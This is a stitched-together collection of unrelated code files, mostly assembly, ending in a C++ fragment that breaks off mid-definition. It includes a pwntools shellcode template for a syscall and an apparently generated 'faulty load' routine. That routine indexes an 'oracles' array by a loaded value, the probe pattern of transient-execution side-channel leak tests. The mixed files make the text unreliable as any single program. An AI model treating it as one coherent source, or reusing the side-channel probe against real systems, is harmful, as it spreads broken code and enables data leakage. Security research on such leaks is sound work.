import qk_strncpy
import qk_strstr
import qk_strrchr
import qk_strchr
import qk_strcmp
import qk_strcpy
import qk_strcat
import qk_strlen
import qk_rand
import qk_srand
import qk_qsort
lit
align 1
LABELV $146
byte 1 114
byte 1 111
byte 1 99
byte 1 107
byte 1 101
byte 1 116
byte 1 0
align 1
LABELV $142
byte 1 98
byte 1 102
byte 1 103
byte 1 0
align 1
LABELV $138
byte 1 103
byte 1 114
byte 1 101
byte 1 110
byte 1 97
byte 1 100
byte 1 101
byte 1 0
align 1
LABELV $134
byte 1 112
byte 1 108
byte 1 97
byte 1 115
byte 1 109
byte 1 97
byte 1 0
align 1
LABELV $96
byte 1 104
byte 1 111
byte 1 111
byte 1 107
byte 1 0
|
; A317319: Multiples of 19 and odd numbers interleaved.
; 0,1,19,3,38,5,57,7,76,9,95,11,114,13,133,15,152,17,171,19,190,21,209,23,228,25,247,27,266,29,285,31,304,33,323,35,342,37,361,39,380,41,399,43,418,45,437,47,456,49,475,51,494,53,513,55,532,57,551,59,570,61,589,63,608,65,627,67,646,69,665,71,684,73,703,75,722,77,741,79,760,81,779,83,798,85,817,87,836,89,855,91,874,93,893,95,912,97,931,99
mov $1,$0
mov $2,$0
lpb $1
add $0,$2
mul $0,9
sub $1,1
mod $1,2
lpe
div $0,18
|
TITLE CVLIBRAR - Copyright (c) SLR Systems 1994
INCLUDE MACROS
INCLUDE LIBRARY
INCLUDE IO_STRUC
PUBLIC CV_LIBRARIES
.DATA
EXTERNDEF CV_TEMP_RECORD:BYTE
EXTERNDEF MAX_LIBNUM:DWORD,CURNMOD_NUMBER:DWORD,CV_LIBRARY_TYPE:DWORD,BYTES_SO_FAR:DWORD
EXTERNDEF FIRST_CV_LIB_GINDEX:DWORD
EXTERNDEF LIBRARY_GARRAY:STD_PTR_S
EXTERNDEF CV_DWORD_ALIGN:DWORD
.CODE PASS2_TEXT
EXTERNDEF HANDLE_CV_INDEX:PROC,_xdebug_write:proc,_move_file_list_gindex_nfn:proc
CV_LIB_VARS STRUC
MY_FILNAM_BP NFN_STRUCT <>
CV_LIB_VARS ENDS
FIX MACRO X
X EQU ([EBP - SIZE CV_LIB_VARS].(X&_BP))
ENDM
FIX MY_FILNAM
CV_LIBRARIES PROC
;
;OUTPUT LIST OF LIBRARY NAMES USED IN INDEX ORDER...
;
CALL CV_DWORD_ALIGN
MOV EAX,FIRST_CV_LIB_GINDEX
XOR ECX,ECX
TEST EAX,EAX
JZ L9$
PUSHM EBP,EDI,ESI,EBX
MOV EBP,ESP
SUB ESP,SIZE CV_LIB_VARS
ASSUME EBP:PTR CV_LIB_VARS
MOV EDI,OFF CV_TEMP_RECORD+1
MOV ESI,EAX
MOV EAX,BYTES_SO_FAR
PUSH EAX
MOV [EDI-1],CL ;FIRST IS NUL
L1$:
CONVERT ESI,ESI,LIBRARY_GARRAY
ASSUME ESI:PTR LIBRARY_STRUCT
MOV EAX,[ESI]._LS_NEXT_CV_GINDEX
PUSH EAX
CALL DO_LIBRARY
POP ESI
MOV EDI,OFF CV_TEMP_RECORD
TEST ESI,ESI
JNZ L1$
MOV CURNMOD_NUMBER,-1
BITT CV_4_TYPE
JNZ L2$
INC CURNMOD_NUMBER
L2$:
;
;NOW, DO INDEX ENTRY
;
POP EAX
MOV ECX,CV_LIBRARY_TYPE
CALL HANDLE_CV_INDEX
CALL CV_DWORD_ALIGN
MOV ESP,EBP
POPM EBX,ESI,EDI,EBP
L9$:
RET
CV_LIBRARIES ENDP
DO_LIBRARY PROC NEAR PRIVATE
;
;DX IS LIBRARY # TO FIND, SAVE DX AND CX
;
;FOUND LIBRARY, NOW OUTPUT NAME TEXT PLEASE
;
MOV ECX,[ESI]._LS_FILE_LIST_GINDEX
LEA EAX,MY_FILNAM
push ECX
push EAX
call _move_file_list_gindex_nfn ;STICKS IN SEARCH PATH IF THERE WAS ONE
add ESP,8
MOV ECX,MY_FILNAM.NFN_TOTAL_LENGTH
LEA ESI,MY_FILNAM.NFN_TEXT
MOV [EDI],CL
INC EDI
AND ECX,0FFH ;JUST IN CASE
REP MOVSB
push EDI
call _xdebug_write
add ESP,4
ret
DO_LIBRARY ENDP
END
|
; A133125: A133080 * A000244.
; 1,4,9,36,81,324,729,2916,6561,26244,59049,236196,531441,2125764,4782969,19131876,43046721,172186884,387420489,1549681956,3486784401,13947137604,31381059609,125524238436,282429536481,1129718145924,2541865828329,10167463313316
add $0,5
mov $1,3
pow $1,$0
gcd $0,2
add $0,2
mul $0,$1
div $0,729
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>clock_settime64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4) -> str
Invokes the syscall clock_settime64.
See 'man 2 clock_settime64' for more information.
Arguments:
vararg(int): vararg
Returns:
long
</%docstring>
<%page args="vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4']
argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_clock_settime64']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* clock_settime64(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)}
|
; Z88 Small C+ Run time Library
; Moved functions over to proper libdefs
; To make startup code smaller and neater!
;
; 6/9/98 djm
SECTION code_clib
SECTION code_l_sccz80
PUBLIC l_neg
EXTERN l_neg_hl
defc l_neg = l_neg_hl
|
;************************************************************************
;* SIMD-optimized lossless video encoding functions
;* Copyright (c) 2000, 2001 Fabrice Bellard
;* Copyright (c) 2002-2004 Michael Niedermayer <michaelni@gmx.at>
;*
;* MMX optimization by Nick Kurshev <nickols_k@mail.ru>
;* Conversion to NASM format by Tiancheng "Timothy" Gu <timothygu99@gmail.com>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* 51, Inc., Foundation Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
section .text
; void ff_diff_bytes(uint8_t *dst, const uint8_t *src1, const uint8_t *src2,
; intptr_t w);
%macro DIFF_BYTES_PROLOGUE 0
%if ARCH_X86_32
cglobal diff_bytes, 3,5,2, dst, src1, src2
%define wq r4q
DECLARE_REG_TMP 3
mov wq, r3mp
%else
cglobal diff_bytes, 4,5,2, dst, src1, src2, w
DECLARE_REG_TMP 4
%endif ; ARCH_X86_32
%define i t0q
%endmacro
; labels to jump to if w < regsize and w < 0
%macro DIFF_BYTES_LOOP_PREP 2
mov i, wq
and i, -2 * regsize
js %2
jz %1
add dstq, i
add src1q, i
add src2q, i
neg i
%endmacro
; mov type used for src1q, dstq, first reg, second reg
%macro DIFF_BYTES_LOOP_CORE 4
%if mmsize != 16
mov%1 %3, [src1q + i]
mov%1 %4, [src1q + i + regsize]
psubb %3, [src2q + i]
psubb %4, [src2q + i + regsize]
mov%2 [dstq + i], %3
mov%2 [regsize + dstq + i], %4
%else
; SSE enforces alignment of psubb operand
mov%1 %3, [src1q + i]
movu %4, [src2q + i]
psubb %3, %4
mov%2 [dstq + i], %3
mov%1 %3, [src1q + i + regsize]
movu %4, [src2q + i + regsize]
psubb %3, %4
mov%2 [regsize + dstq + i], %3
%endif
%endmacro
%macro DIFF_BYTES_BODY 2 ; mov type used for src1q, for dstq
%define regsize mmsize
.loop_%1%2:
DIFF_BYTES_LOOP_CORE %1, %2, m0, m1
add i, 2 * regsize
jl .loop_%1%2
.skip_main_%1%2:
and wq, 2 * regsize - 1
jz .end_%1%2
%if mmsize > 16
; fall back to narrower xmm
%define regsize (mmsize / 2)
DIFF_BYTES_LOOP_PREP .setup_loop_gpr_aa, .end_aa
.loop2_%1%2:
DIFF_BYTES_LOOP_CORE %1, %2, xm0, xm1
add i, 2 * regsize
jl .loop2_%1%2
.setup_loop_gpr_%1%2:
and wq, 2 * regsize - 1
jz .end_%1%2
%endif
add dstq, wq
add src1q, wq
add src2q, wq
neg wq
.loop_gpr_%1%2:
mov t0b, [src1q + wq]
sub t0b, [src2q + wq]
mov [dstq + wq], t0b
inc wq
jl .loop_gpr_%1%2
.end_%1%2:
REP_RET
%endmacro
%if ARCH_X86_32
INIT_MMX mmx
DIFF_BYTES_PROLOGUE
%define regsize mmsize
DIFF_BYTES_LOOP_PREP .skip_main_aa, .end_aa
DIFF_BYTES_BODY a, a
%undef i
%endif
INIT_XMM sse2
DIFF_BYTES_PROLOGUE
%define regsize mmsize
DIFF_BYTES_LOOP_PREP .skip_main_aa, .end_aa
test dstq, regsize - 1
jnz .loop_uu
test src1q, regsize - 1
jnz .loop_ua
DIFF_BYTES_BODY a, a
DIFF_BYTES_BODY u, a
DIFF_BYTES_BODY u, u
%undef i
%if HAVE_AVX2_EXTERNAL
INIT_YMM avx2
DIFF_BYTES_PROLOGUE
%define regsize mmsize
; Directly using unaligned SSE2 version is marginally faster than
; branching based on arguments.
DIFF_BYTES_LOOP_PREP .skip_main_uu, .end_uu
test dstq, regsize - 1
jnz .loop_uu
test src1q, regsize - 1
jnz .loop_ua
DIFF_BYTES_BODY a, a
DIFF_BYTES_BODY u, a
DIFF_BYTES_BODY u, u
%undef i
%endif
|
; A193410: Expansion of (1-3*x)/(1-6*x+18*x^2).
; 1,3,0,-54,-324,-972,0,17496,104976,314928,0,-5668704,-34012224,-102036672,0,1836660096,11019960576,33059881728,0,-595077871104,-3570467226624,-10711401679872,0,192805230237696,1156831381426176,3470494144278528,0,-62468894597013504,-374813367582081024,-1124440102746243072,0,20239921849432375296,121439531096594251776,364318593289782755328,0,-6557734679216089595904,-39346408075296537575424,-118039224225889612726272,0,2124706036066013029072896,12748236216396078174437376,38244708649188234523312128,0,-688404755685388221419618304,-4130428534112329328517709824,-12391285602336987985553129472,0,223043140842065783739956330496,1338258845052394702439737982976,4014776535157184107319213948928,0,-72265977632829313931745851080704,-433595865796975883590475106484224,-1300787597390927650771425319452672,0,23414176753036697713885655750148096,140485060518220186283313934500888576,421455181554660558849941803502665728,0
mov $2,3
pow $2,$0
mov $1,$2
lpb $0
sub $0,1
mul $1,2
sub $1,$2
add $2,$1
lpe
mov $0,$1
|
page ,132
TITLE C library emulation, not relying on MS-DOS.
;*****************************************************************************;
; ;
; FILE NAME: fmemmove.asm ;
; ;
; DESCRIPTION: Copy a far block of memory, managing overlap ;
; ;
; NOTES: ;
; ;
; History: ;
; 2001/08/02 JFL Created this file. ;
; ;
; (c) Copyright 2001-2017 Hewlett Packard Enterprise Development LP ;
; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ;
;*****************************************************************************;
INCLUDE ADEFINE.INC ; For the segment definitions
.286
.code
EXTERNCFASTPROC canonicalize
;-----------------------------------------------------------------------------;
; ;
; Function: _fmemmove ;
; ;
; Description: Copy a far block of memory, managing overlap ;
; ;
; Parameters: ARG1 Far pointer to the destination buffer ;
; ARG2 Far pointer to the source buffer ;
; ARG3 Number of characters to copy ;
; ;
; Returns: DX:AX The destination pointer ;
; ;
; Notes: ;
; ;
; Regs altered: AX, CX, ES ;
; ;
; History: ;
; 2001/08/02 JFL Created this routine, adapted from _fmemcpy(). ;
; ;
;-----------------------------------------------------------------------------;
_fmemmove proc C public, lpDEST:DWORD, lpSrc:DWORD, wCount:WORD
push si
push di
push ds
; Get canonical source pointer
mov ax, WORD ptr lpSrc
mov dx, WORD ptr lpSrc+2
call canonicalize
mov si, ax
mov ds, dx
mov cx, dx ; Save temp source segment copy
; Get canonical destination pointer
mov ax, WORD ptr lpDest
mov dx, WORD ptr lpDest+2
call canonicalize
mov di, ax
mov es, dx
; Are we moving up or down?
cmp dx, cx ; Compare dest and source segments
mov cx, wCount ; Count in CX
jb copy_down
ja copy_up
cmp di, si ; Segments equal. Compare offsets.
jb copy_down
; ja copy_up
; jmp done
je done
copy_up: ; Must start copying at the end to prevent overlap.
add si, cx
dec si ; Last byte to copy
add di, cx
dec di ; Last byte of destination buffer
std ; Change from standard C direction
copy_down: ; Must start copying at the beg to prevent overlap.
rep movsb
done:
mov ax, WORD ptr lpDest ; Restore the uncanonical destination pointer
mov dx, WORD ptr lpDest+2
cld ; Restore the standard C direction flag
pop ds
pop di
pop si
ret
_fmemmove endp
END
|
ORG $1234
; by default listing is ON (full listing)
IF 1
; 1. active branch
ELSE
; 1. ~LISTED~
ENDIF
OPT push listact ; remember current state, switch listing to active-only
IF 1
; 2. active branch (only)
ELSE
!!!ERROR!!! ; 2. ~SKIPPED~
ENDIF
OPT listall ; switch listing back to ALL lines
IF 1
; 3. active branch
ELSE
; 3. ~LISTED~
ENDIF
OPT pop ; restoring original state
IF 1
; 4. active branch
ELSE
; 4. ~LISTED~
ENDIF
OPT listact ; switch listing to active-only
IF 1
; 5. active branch (only)
ELSE
!!!ERROR!!! ; 5. ~SKIPPED~
ENDIF
OPT reset ; reset to default state
IF 1
; 6. active branch
ELSE
; 6. ~LISTED~
ENDIF
; nested listing adjusting by suggested push+pop technique
OPT push listact ; switch active listing twice
OPT push listact
IF 1
; 7. active branch (only)
ELSE
!!!ERROR!!! ; 7. ~SKIPPED~
ENDIF
OPT push listoff ; switch listing completely off temporarily
IF 1
; 8. !!! HIDDEN !!!
ELSE
!!!ERROR!!! ; 8. ~SKIPPED~
ENDIF
OPT pop ; restored to active listing
IF 1
; 9. active branch (only)
ELSE
!!!ERROR!!! ; 9. ~SKIPPED~
ENDIF
OPT pop
IF 1
; A. active branch (only)
ELSE
!!!ERROR!!! ; A. ~SKIPPED~
ENDIF
OPT pop ; restored to full listing
IF 1
; B. active branch
ELSE
; B. ~LISTED~
ENDIF
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r8
push %r9
push %rax
push %rdx
// Load
lea addresses_US+0x29b1, %rax
nop
nop
nop
nop
sub $63761, %rdx
movups (%rax), %xmm4
vpextrq $1, %xmm4, %r13
sub %r15, %r15
// Load
lea addresses_normal+0x9cd1, %r9
nop
cmp $38530, %rdx
movups (%r9), %xmm3
vpextrq $0, %xmm3, %r15
dec %rax
// Faulty Load
lea addresses_PSE+0x1ae51, %r9
nop
nop
nop
dec %r14
mov (%r9), %dx
lea oracles, %r15
and $0xff, %rdx
shlq $12, %rdx
mov (%r15,%rdx,1), %rdx
pop %rdx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
;-------------------------------------------------------------------
; Assemble by pressing f12 (Automatically)
; nasm -f win64 Hello_win64.asm -o out/Hello_win64.obj
;
; Link by gcc (Manually)
; cd out & gcc Hello_win64.obj -o Hello_win64.exe & Hello_win64.exe
;--------------------------------------------------------------------
extern printf
global main
section .data
msg db "Hello world!"
section .text
main:
mov rcx, msg
sub rsp, 32
call printf
add rsp, 32
ret
|
#include "sendcoinsentry.h"
#include "ui_sendcoinsentry.h"
#include "guiutil.h"
#include "bitcoinunits.h"
#include "addressbookpage.h"
#include "walletmodel.h"
#include "optionsmodel.h"
#include "addresstablemodel.h"
#include <QApplication>
#include <QClipboard>
SendCoinsEntry::SendCoinsEntry(QWidget *parent) :
QFrame(parent),
ui(new Ui::SendCoinsEntry),
model(0)
{
ui->setupUi(this);
#ifdef Q_OS_MAC
ui->payToLayout->setSpacing(4);
#endif
#if QT_VERSION >= 0x040700
/* Do not move this to the XML file, Qt before 4.7 will choke on it */
ui->addAsLabel->setPlaceholderText(tr("Enter a label for this address to add it to your address book"));
ui->payTo->setPlaceholderText(tr("Enter a HIVE address (e.g. B8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)"));
#endif
setFocusPolicy(Qt::TabFocus);
setFocusProxy(ui->payTo);
GUIUtil::setupAddressWidget(ui->payTo, this);
}
SendCoinsEntry::~SendCoinsEntry()
{
delete ui;
}
void SendCoinsEntry::on_pasteButton_clicked()
{
// Paste text from clipboard into recipient field
ui->payTo->setText(QApplication::clipboard()->text());
}
void SendCoinsEntry::on_addressBookButton_clicked()
{
if(!model)
return;
AddressBookPage dlg(AddressBookPage::ForSending, AddressBookPage::SendingTab, this);
dlg.setModel(model->getAddressTableModel());
if(dlg.exec())
{
ui->payTo->setText(dlg.getReturnValue());
ui->payAmount->setFocus();
}
}
void SendCoinsEntry::on_payTo_textChanged(const QString &address)
{
if(!model)
return;
// Fill in label from address book, if address has an associated label
QString associatedLabel = model->getAddressTableModel()->labelForAddress(address);
if(!associatedLabel.isEmpty())
ui->addAsLabel->setText(associatedLabel);
}
void SendCoinsEntry::setModel(WalletModel *model)
{
this->model = model;
if(model && model->getOptionsModel())
connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));
connect(ui->payAmount, SIGNAL(textChanged()), this, SIGNAL(payAmountChanged()));
clear();
}
void SendCoinsEntry::setRemoveEnabled(bool enabled)
{
ui->deleteButton->setEnabled(enabled);
}
void SendCoinsEntry::clear()
{
ui->payTo->clear();
ui->addAsLabel->clear();
ui->payAmount->clear();
ui->payTo->setFocus();
// update the display unit, to not use the default ("BTC")
updateDisplayUnit();
}
void SendCoinsEntry::on_deleteButton_clicked()
{
emit removeEntry(this);
}
bool SendCoinsEntry::validate()
{
// Check input validity
bool retval = true;
if(!ui->payAmount->validate())
{
retval = false;
}
else
{
if(ui->payAmount->value() <= 0)
{
// Cannot send 0 coins or less
ui->payAmount->setValid(false);
retval = false;
}
}
if(!ui->payTo->hasAcceptableInput() ||
(model && !model->validateAddress(ui->payTo->text())))
{
ui->payTo->setValid(false);
retval = false;
}
return retval;
}
SendCoinsRecipient SendCoinsEntry::getValue()
{
SendCoinsRecipient rv;
rv.address = ui->payTo->text();
rv.label = ui->addAsLabel->text();
rv.amount = ui->payAmount->value();
return rv;
}
QWidget *SendCoinsEntry::setupTabChain(QWidget *prev)
{
QWidget::setTabOrder(prev, ui->payTo);
QWidget::setTabOrder(ui->payTo, ui->addressBookButton);
QWidget::setTabOrder(ui->addressBookButton, ui->pasteButton);
QWidget::setTabOrder(ui->pasteButton, ui->deleteButton);
QWidget::setTabOrder(ui->deleteButton, ui->addAsLabel);
return ui->payAmount->setupTabChain(ui->addAsLabel);
}
void SendCoinsEntry::setValue(const SendCoinsRecipient &value)
{
ui->payTo->setText(value.address);
ui->addAsLabel->setText(value.label);
ui->payAmount->setValue(value.amount);
}
bool SendCoinsEntry::isClear()
{
return ui->payTo->text().isEmpty();
}
void SendCoinsEntry::setFocus()
{
ui->payTo->setFocus();
}
void SendCoinsEntry::updateDisplayUnit()
{
if(model && model->getOptionsModel())
{
// Update payAmount with the current unit
ui->payAmount->setDisplayUnit(model->getOptionsModel()->getDisplayUnit());
}
}
|
class Solution {
public:
int cherryPickup(vector<vector<int>>& grid) {
int size = grid.size();
vector<vector<int>> v1(size, vector<int>(size, INT_MIN));
v1[0][0] = grid[0][0];
int i1;
int i2;
int cherry;
for (int i = 1; i <= 2 * (size - 1); ++i) {
vector<vector<int>> v2(size, vector<int>(size, INT_MIN));
for (int j = 0; j < size; ++j) {
for (int k = 0; k < size; ++k) {
i1 = i - j;
i2 = i - k;
if (i1 < 0 || i1 >= size || i2 < 0 || i2 >= size) {
continue;
}
if (grid[j][i1] == -1 || grid[k][i2] == -1) {
continue;
}
cherry = grid[j][i1];
if (j != k) {
cherry += grid[k][i2];
}
cherry += std::max({
(j - 1 >= 0 && k - 1 >= 0) ? v1[j - 1][k - 1] : INT_MIN,
v1[j][k], (j - 1 >= 0) ? v1[j - 1][k] : INT_MIN,
(k - 1 >= 0) ? v1[j][k - 1] : INT_MIN
});
v2[j][k] = cherry;
}
}
std::swap(v1, v2);
}
return std::max(v1[size - 1][size - 1], 0);
}
};
|
ORG 100H
JMP begin
ARRAY DB 3,6,9,2,8,4,5,7,1,3
begin:
MOV CX, 9
MOV BX, 0
next:
MOV AL, ARRAY[BX]
TEST AL, 1
JNE n_xch
PUSH AX
MOV AL, ARRAY[BX+1]
TEST AL, 1
JZ n_xch
MOV ARRAY[BX], AL
POP AX
MOV ARRAY[BX+1], AL
INC CX
DEC BX
JMP next
n_xch:
INC BX
LOOP next
END |
/*******************************************************************************
*
* MIT License
*
* Copyright (c) 2019 Advanced Micro Devices, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*******************************************************************************/
#include <sstream>
#include <limits>
#include <cassert>
#include <string>
#include <miopen/logger.hpp>
#include <miopen/handle.hpp>
#include <miopen/solver.hpp>
#include <miopen/generic_search.hpp>
#include <miopen/scgemm_utils.hpp>
namespace miopen {
namespace solver {
template <SCGemmOpType T>
bool PerformanceConfigSCGemmFwd<T>::SetNextValue()
{
using m_type = scgemm_op_type<T>;
do
{
auto routines = m_type::GetSCGemmRoutines();
auto it = routines.begin();
if(routine != -1)
{
// find the index of the current routine from routine list.
it = std::find_if(routines.begin(), routines.end(), [&](auto r) {
return m_type::Routine2Int(r) == routine;
});
// set to next index
if(it != routines.end())
++it;
}
if(it != routines.end())
{
routine = m_type::Routine2Int(*it);
break;
}
return false;
} while(false);
return true;
}
template <SCGemmOpType T>
PerformanceConfigSCGemmFwd<T>::PerformanceConfigSCGemmFwd() : routine(-1)
{
}
template <SCGemmOpType T>
PerformanceConfigSCGemmFwd<T>::PerformanceConfigSCGemmFwd(bool)
{
// get the minimal routine
routine = scgemm_op_type<T>::Routine2Int(scgemm_op_type<T>::GetSCGemmRoutines()[0]);
}
template <SCGemmOpType T>
bool PerformanceConfigSCGemmFwd<T>::operator==(const PerformanceConfigSCGemmFwd<T>& other) const
{
// clang-format off
return routine == other.routine;
// clang-format on
}
template <SCGemmOpType T>
bool PerformanceConfigSCGemmFwd<T>::IsValidValue() const
